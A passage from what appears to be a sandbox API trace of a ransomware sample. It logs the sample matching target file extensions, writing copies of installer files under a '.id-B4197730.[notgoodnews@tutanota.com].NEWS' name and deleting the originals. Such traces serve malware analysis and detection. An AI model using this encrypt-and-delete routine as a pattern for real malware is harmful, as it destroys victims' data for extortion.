returned 4 [0064.723] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.723] lstrlenW (lpString=".rar") returned 4 [0064.723] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString=".bz2") returned 4 [0064.723] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.723] lstrlenW (lpString=".7z") returned 3 [0064.723] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.723] lstrlenW (lpString=".dbf") returned 4 [0064.723] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.724] lstrlenW (lpString=".1cd") returned 4 [0064.724] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0064.724] lstrlenW (lpString=".jpg") returned 4 [0064.724] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.724] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.724] lstrlenW (lpString="eula.rtf") returned 8 [0064.724] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.724] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6309) returned 1 [0064.724] CloseHandle (hObject=0x338) returned 1 [0064.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0064.724] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.724] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.725] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.725] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.726] GetLastError () returned 0x0 [0064.726] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0064.728] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0064.731] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.732] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.732] SetEndOfFile (hFile=0x354) returned 1 [0064.732] CloseHandle (hObject=0x354) returned 1 [0064.733] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.733] SetEndOfFile (hFile=0x338) returned 1 [0064.733] CloseHandle (hObject=0x338) returned 1 [0064.734] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.734] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0064.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.734] lstrlenW (lpString=".doc") returned 4 [0064.734] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.734] lstrlenW (lpString=".docx") returned 5 [0064.734] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.734] lstrlenW (lpString=".pdf") returned 4 [0064.734] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.734] lstrlenW (lpString=".xls") returned 4 [0064.734] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.734] lstrlenW (lpString=".xlsx") returned 5 [0064.734] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.734] lstrlenW (lpString=".ppt") returned 4 [0064.734] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.734] lstrlenW (lpString=".zip") returned 4 [0064.735] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.735] lstrlenW (lpString=".rar") returned 4 [0064.735] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString=".bz2") returned 4 [0064.735] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString=".7z") returned 3 [0064.735] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.735] lstrlenW (lpString=".dbf") returned 4 [0064.735] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.735] lstrlenW (lpString=".1cd") returned 4 [0064.735] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.735] lstrlenW (lpString=".jpg") returned 4 [0064.735] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.735] lstrlenW (lpString=".doc") returned 4 [0064.735] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString=".docx") returned 5 [0064.735] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.735] lstrlenW (lpString=".pdf") returned 4 [0064.735] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString=".xls") returned 4 [0064.735] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.735] lstrlenW (lpString=".xlsx") returned 5 [0064.735] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.735] lstrlenW (lpString=".ppt") returned 4 [0064.735] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.735] lstrlenW (lpString=".zip") returned 4 [0064.735] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.735] lstrlenW (lpString=".rar") returned 4 [0064.736] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.736] lstrlenW (lpString=".bz2") returned 4 [0064.736] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.736] lstrlenW (lpString=".7z") returned 3 [0064.736] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.736] lstrlenW (lpString=".dbf") returned 4 [0064.736] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.736] lstrlenW (lpString=".1cd") returned 4 [0064.736] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0064.736] lstrlenW (lpString=".jpg") returned 4 [0064.736] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.736] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.736] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.736] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.736] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=60816) returned 1 [0064.736] CloseHandle (hObject=0x338) returned 1 [0064.736] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0064.736] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.737] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.737] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.737] GetLastError () returned 0x0 [0064.737] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xed90, lpOverlapped=0x0) returned 1 [0064.740] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0064.742] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.742] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.742] SetEndOfFile (hFile=0x354) returned 1 [0064.742] CloseHandle (hObject=0x354) returned 1 [0064.744] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.745] SetEndOfFile (hFile=0x338) returned 1 [0064.746] CloseHandle (hObject=0x338) returned 1 [0064.746] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.746] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0064.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.746] lstrlenW (lpString=".doc") returned 4 [0064.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.746] lstrlenW (lpString=".docx") returned 5 [0064.746] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.746] lstrlenW (lpString=".pdf") returned 4 [0064.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.746] lstrlenW (lpString=".xls") returned 4 [0064.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.746] lstrlenW (lpString=".xlsx") returned 5 [0064.747] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.747] lstrlenW (lpString=".ppt") returned 4 [0064.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.747] lstrlenW (lpString=".zip") returned 4 [0064.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.747] lstrlenW (lpString=".rar") returned 4 [0064.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString=".bz2") returned 4 [0064.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString=".7z") returned 3 [0064.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.747] lstrlenW (lpString=".dbf") returned 4 [0064.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.747] lstrlenW (lpString=".1cd") returned 4 [0064.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.747] lstrlenW (lpString=".jpg") returned 4 [0064.747] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.747] lstrlenW (lpString=".doc") returned 4 [0064.747] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString=".docx") returned 5 [0064.747] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.747] lstrlenW (lpString=".pdf") returned 4 [0064.747] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString=".xls") returned 4 [0064.747] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString=".xlsx") returned 5 [0064.747] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.747] lstrlenW (lpString=".ppt") returned 4 [0064.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.748] lstrlenW (lpString=".zip") returned 4 [0064.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.748] lstrlenW (lpString=".rar") returned 4 [0064.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.748] lstrlenW (lpString=".bz2") returned 4 [0064.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.748] lstrlenW (lpString=".7z") returned 3 [0064.748] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.748] lstrlenW (lpString=".dbf") returned 4 [0064.748] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.748] lstrlenW (lpString=".1cd") returned 4 [0064.748] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.748] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0064.748] lstrlenW (lpString=".jpg") returned 4 [0064.748] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.748] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.748] lstrlenW (lpString="eula.rtf") returned 8 [0064.748] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.748] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3069) returned 1 [0064.748] CloseHandle (hObject=0x338) returned 1 [0064.748] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0064.749] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.749] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.749] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.749] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.749] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0064.839] GetLastError () returned 0x0 [0064.839] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0064.844] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xc00, lpOverlapped=0x0) returned 1 [0064.846] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.846] WriteFile (in: hFile=0x2c4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.846] SetEndOfFile (hFile=0x2c4) returned 1 [0064.846] CloseHandle (hObject=0x2c4) returned 1 [0064.850] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.850] SetEndOfFile (hFile=0x338) returned 1 [0064.851] CloseHandle (hObject=0x338) returned 1 [0064.851] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.851] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0064.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.851] lstrlenW (lpString=".doc") returned 4 [0064.851] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.851] lstrlenW (lpString=".docx") returned 5 [0064.852] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.852] lstrlenW (lpString=".pdf") returned 4 [0064.852] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.852] lstrlenW (lpString=".xls") returned 4 [0064.852] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.852] lstrlenW (lpString=".xlsx") returned 5 [0064.852] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.852] lstrlenW (lpString=".ppt") returned 4 [0064.852] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.852] lstrlenW (lpString=".zip") returned 4 [0064.852] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.852] lstrlenW (lpString=".rar") returned 4 [0064.852] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.852] lstrlenW (lpString=".bz2") returned 4 [0064.852] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.852] lstrlenW (lpString=".7z") returned 3 [0064.852] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.852] lstrlenW (lpString=".dbf") returned 4 [0064.852] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.852] lstrlenW (lpString=".1cd") returned 4 [0064.852] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.852] lstrlenW (lpString=".jpg") returned 4 [0064.852] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.853] lstrlenW (lpString=".doc") returned 4 [0064.853] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.853] lstrlenW (lpString=".docx") returned 5 [0064.853] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.853] lstrlenW (lpString=".pdf") returned 4 [0064.853] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.853] lstrlenW (lpString=".xls") returned 4 [0064.853] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.853] lstrlenW (lpString=".xlsx") returned 5 [0064.853] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.853] lstrlenW (lpString=".ppt") returned 4 [0064.853] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.853] lstrlenW (lpString=".zip") returned 4 [0064.853] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.853] lstrlenW (lpString=".rar") returned 4 [0064.853] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.853] lstrlenW (lpString=".bz2") returned 4 [0064.853] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.853] lstrlenW (lpString=".7z") returned 3 [0064.853] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.853] lstrlenW (lpString=".dbf") returned 4 [0064.853] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.853] lstrlenW (lpString=".1cd") returned 4 [0064.853] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0064.853] lstrlenW (lpString=".jpg") returned 4 [0064.854] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.854] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.854] lstrlenW (lpString="UiInfo.xml") returned 10 [0064.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.855] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=39042) returned 1 [0064.855] CloseHandle (hObject=0x338) returned 1 [0064.855] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0064.855] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.855] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0064.855] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.855] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.855] CreateFileW 